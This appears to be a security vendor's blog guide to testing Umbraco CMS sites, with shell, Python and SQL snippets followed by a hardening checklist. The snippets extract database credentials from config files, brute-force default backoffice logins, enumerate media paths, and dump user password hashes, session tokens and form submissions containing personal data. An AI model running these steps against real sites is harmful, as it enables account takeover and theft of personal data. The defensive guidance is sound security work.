CMS Security Testing

Umbraco Security Testing: Default Credentials, API Key, Database, and CMS

📅 July 3, 2026 ⏱ 10 min read 🏷 Umbraco, .NET CMS, ASP.NET, web.config, appsettings.json, SQL Server, umbracoUser, HMAC-SHA1, bcrypt, Admin, Media Library, .NET Security

Umbraco is one of the most popular .NET CMS platforms, powering hundreds of thousands of websites on ASP.NET. Key assessment areas: web.config (Umbraco 7-8) or appsettings.json (Umbraco 9+) exposes SQL Server connection strings with credentials; admin credentials at /umbraco use HMAC-SHA1 or bcrypt; the umbracoUser table contains all editor and admin accounts; and the Umbraco media library stores uploaded files at predictable paths. This guide covers systematic Umbraco security assessment.

web.config / appsettings.json SQL Server Credential Extraction
Admin Panel and API Assessment
SQL Server umbracoUser Hash and Admin Account Extraction
Umbraco Security Hardening

web.config / appsettings.json SQL Server Credential Extraction

# Umbraco — web.config and appsettings.json SQL Server credential extraction
UMBRACO_URL="https://site.example.com"

# Umbraco 7-8: web.config — SQL Server connection string
# Location: /var/www/umbraco/web.config or C:\inetpub\wwwroot\umbraco\web.config
python3 -c "
import xml.etree.ElementTree as ET
tree = ET.parse('/var/www/umbraco/web.config')
root = tree.getroot()
ns = {'ns': 'http://schemas.microsoft.com/.NetConfiguration/v2.0'}
for cs in root.findall('.//connectionStrings/add'):
    name = cs.get('name','')
    conn = cs.get('connectionString','')
    if 'umbraco' in name.lower() or 'Password' in conn:
        print(f'Name: {name}')
        print(f'ConnectionString: {conn[:120]}')
" 2>/dev/null
# Data Source=...;Initial Catalog=umbraco;User Id=umbraco;Password=...

# Umbraco 9+: appsettings.json — new config format
python3 -c "
import json
d=json.load(open('/var/www/umbraco/appsettings.json'))
conn=d.get('ConnectionStrings',{}).get('umbracoDbDSN','')
print(f'umbracoDbDSN: {conn[:120]}')
" 2>/dev/null

# Check web.config web exposure (should be blocked by IIS handler)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
  "${UMBRACO_URL}/web.config" 2>/dev/null)
echo "/web.config: HTTP ${STATUS}"

# Umbraco version disclosure
VERSION=$(curl -s "${UMBRACO_URL}/umbraco/api/keepalive/ping" 2>/dev/null | \
  grep -oP '"umbracoVersion":"\K[^"]+' | head -1)
echo "Umbraco version: ${VERSION:-check /umbraco}"

# Test default admin credentials
for CRED in "admin@example.com:admin" "admin@domain.com:password" "umbraco@example.com:Admin123"; do
  EMAIL=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2)
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST "${UMBRACO_URL}/umbraco/backoffice/UmbracoApi/Authentication/PostLogin" \
    -H "Content-Type: application/json" \
    -d "{\"username\":\"${EMAIL}\",\"password\":\"${PASS}\"}" \
    -c /tmp/umb_c 2>/dev/null)
  echo "${EMAIL}/${PASS}: HTTP ${STATUS}"
done

Admin Panel and API Assessment

# Umbraco admin panel — backoffice API and media library assessment
UMBRACO_URL="https://site.example.com"

# Umbraco backoffice REST API (authenticated)
# With valid admin credentials, use backoffice API
ACCESS_TOKEN="extracted-umbraco-token"

# List all content nodes
curl -s "${UMBRACO_URL}/umbraco/backoffice/UmbracoApi/Content/GetById?id=-1" \
  -H "Authorization: Bearer ${ACCESS_TOKEN}" 2>/dev/null | head -20

# List media library files
curl -s "${UMBRACO_URL}/umbraco/backoffice/UmbracoApi/Media/GetRootMedia" \
  -H "Authorization: Bearer ${ACCESS_TOKEN}" 2>/dev/null | \
  python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    for item in (d if isinstance(d,list) else [d])[:5]:
        print(f'  {item.get(\"name\")} — {item.get(\"mediaLink\")}')
except: pass
" 2>/dev/null

# Umbraco media files are typically at /media/[number]/[filename]
# Enumerate media paths
for NUM in $(seq 1001 1010); do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    "${UMBRACO_URL}/media/${NUM}/" 2>/dev/null)
  echo "/media/${NUM}/: HTTP ${STATUS}"
done

# Check for Umbraco Forms data (if Umbraco Forms package installed)
curl -s "${UMBRACO_URL}/umbraco/backoffice/UmbracoForms/Form/GetAllForms" \
  -H "Authorization: Bearer ${ACCESS_TOKEN}" 2>/dev/null | head -10

SQL Server umbracoUser Hash and Admin Account Extraction

# Umbraco SQL Server database — umbracoUser hash and admin account extraction
# Using sqlcmd or pyodbc
SA_PASS="extracted-sa-or-umbraco-password"
DB="umbracoDbDSN"

sqlcmd -S localhost -U umbraco -P "${SA_PASS}" -d Umbraco -Q "
-- Umbraco 7-8: umbracoUser table
SELECT u.id, u.userName, u.userEmail,
       u.userPassword,        -- HMAC-SHA1 or bcrypt
       u.userType,            -- 1=admin group, 0=writer
       u.userDisabled, u.userNoConsole,
       u.createDate, u.updateDate,
       u.lastLoginDate, u.lastPasswordChangeDate
FROM dbo.umbracoUser u
WHERE u.userDisabled = 0
ORDER BY u.id;
-- userPassword: Umbraco 7 = HMAC-SHA1; Umbraco 8+ = bcrypt
-- userType=1: administrative user group

-- Umbraco 9+ uses umbracoUser with different schema
SELECT id, userName, email, password, passwordConfig,
       securityStamp, failedLoginAttempts,
       isLockedOut, isApproved, createDate, updateDate
FROM dbo.umbracoUser
ORDER BY id;
-- password: bcrypt (Umbraco 9+); passwordConfig describes algorithm

-- User access tokens / remember-me tokens
SELECT t.id, t.userId, t.token, t.name,
       t.createdUtc, t.expiresUtc
FROM dbo.umbracoUserLogin t
ORDER BY t.createdUtc DESC;

-- Umbraco Forms submitted data (if installed)
SELECT f.id AS form_id, f.name AS form_name
FROM dbo.UForms f
ORDER BY f.id;

SELECT r.id, r.form AS form_id,
       r.ip, r.created, r.serverVariables, r.recordFields
FROM dbo.UFormRecords r
ORDER BY r.created DESC;
-- recordFields: JSON-encoded form submission data — may contain PII, contact info
" 2>/dev/null

Umbraco Security Hardening

Umbraco Security Hardening Checklist:

Protect web.config and appsettings.json SQL Server connection strings — Umbraco 7-8 stores SQL Server credentials in web.config connectionStrings (Data Source, Initial Catalog, User Id, Password); Umbraco 9+ uses appsettings.json under ConnectionStrings.umbracoDbDSN; IIS is configured by default to block web.config requests (HTTP 403), but misconfigurations can expose it; verify web.config and appsettings.json are not web-accessible; use Windows Authentication (Integrated Security=True) for SQL Server connections instead of SQL Server authentication where possible — this eliminates stored passwords entirely; in Azure deployments, use managed identities for SQL Server access rather than connection string passwords; store connection strings in Azure Key Vault or environment variables rather than configuration files
Upgrade from HMAC-SHA1 to bcrypt password hashing — Umbraco 7 uses HMAC-SHA1 for password hashing, which while salted is vulnerable to GPU-accelerated cracking; Umbraco 8 introduced bcrypt as the default; Umbraco 9+ uses ASP.NET Identity with bcrypt; upgrade to Umbraco 10+ LTS for current security standards; after upgrading, force password resets for all backoffice users to replace legacy HMAC-SHA1 hashes stored in the userPassword column; Umbraco's passwordConfig column in newer versions records the hashing algorithm, enabling identification of accounts still using legacy hashing; run the provided migration scripts to upgrade hash storage after platform upgrades
Restrict /umbraco backoffice access by IP and enable 2FA — Umbraco's backoffice at /umbraco (the default path, non-configurable without custom middleware) is accessible from any IP by default; add IP restriction rules in web.config using IIS IP Address and Domain Restrictions or use web application firewall rules to restrict /umbraco/* to office and VPN IP ranges; Umbraco 8.1+ supports two-factor authentication for backoffice users via the ITwoFactorProvider interface; implement 2FA for all admin accounts; Umbraco has configurable login attempt lockout via security configuration — set umbracoUserAutoLoginDuration and maxInvalidPasswordAttempts appropriately; monitor /umbraco/backoffice/UmbracoApi/Authentication/PostLogin for brute-force patterns
Secure the Umbraco Forms data store — Umbraco Forms (a paid package widely deployed alongside Umbraco) stores all form submissions in the SQL Server database (UFormRecords table) or file system; form submissions frequently contain PII (names, emails, phone numbers, addresses) and sensitive contact data; implement database encryption for the Umbraco database containing UFormRecords; restrict access to form submission data within the Umbraco backoffice using Umbraco Forms' built-in permission system; configure data retention policies to automatically delete old form submissions; ensure exported form data (CSV downloads) are transmitted over HTTPS and not stored indefinitely; audit who has access to view form submissions in the Umbraco backoffice
Audit Umbraco media library access controls — Umbraco serves media files from /media/ with path patterns like /media/[folder]/[filename]; by default, all media is publicly accessible regardless of the content node's publication status; if documents, spreadsheets, or other sensitive files are uploaded via the Umbraco media library, they are publicly downloadable if the URL is known or guessable; use Umbraco's Members section authentication to restrict media access; configure IIS URL Authorization rules to protect sensitive media directories; consider using the UmbracoFileAuthorizationManager for programmatic access control on media files; audit all files in the media library for sensitive content that should be access-controlled

Security Test	Method	Risk
web.config SQL Server connection string credential extraction	Read web.config connectionStrings — SQL Server User Id and Password; full umbracoUser hash and Umbraco Forms submission data access	Critical
umbracoUser HMAC-SHA1/bcrypt hash extraction with admin identification	SQL SELECT userPassword, userType FROM umbracoUser — HMAC-SHA1 (Umbraco 7) or bcrypt; userType=1 = admin group membership	High
Admin credential brute-force at /umbraco/backoffice	POST /umbraco/backoffice/UmbracoApi/Authentication/PostLogin — admin credentials; backoffice access enables content management, media upload, user creation	High
UFormRecords Umbraco Forms PII extraction	SQL SELECT from UFormRecords — all form submission data including names, emails, phone numbers, and custom fields from all website forms	High
umbracoUserLogin access token enumeration	SQL SELECT from umbracoUserLogin — active session tokens; token replay enables authenticated backoffice access without password	High

Automate Umbraco Security Testing

Ironimo tests Umbraco deployments for web.config connectionStrings SQL Server credential extraction, appsettings.json umbracoDbDSN Umbraco 9+ connection string extraction, admin credential brute-force at /umbraco/backoffice/UmbracoApi/Authentication/PostLogin, umbracoUser HMAC-SHA1 and bcrypt hash extraction with userType admin identification, umbracoUserLogin session token enumeration enabling session replay, UFormRecords Umbraco Forms PII submission data access, media library /media/ file access without authentication, Umbraco version disclosure via /umbraco/api/keepalive/ping for CVE targeting, and IIS configuration assessment for web.config exposure.

Start free scan

Table of Contents

web.config / appsettings.json SQL Server Credential Extraction

Admin Panel and API Assessment

SQL Server umbracoUser Hash and Admin Account Extraction

Umbraco Security Hardening

Automate Umbraco Security Testing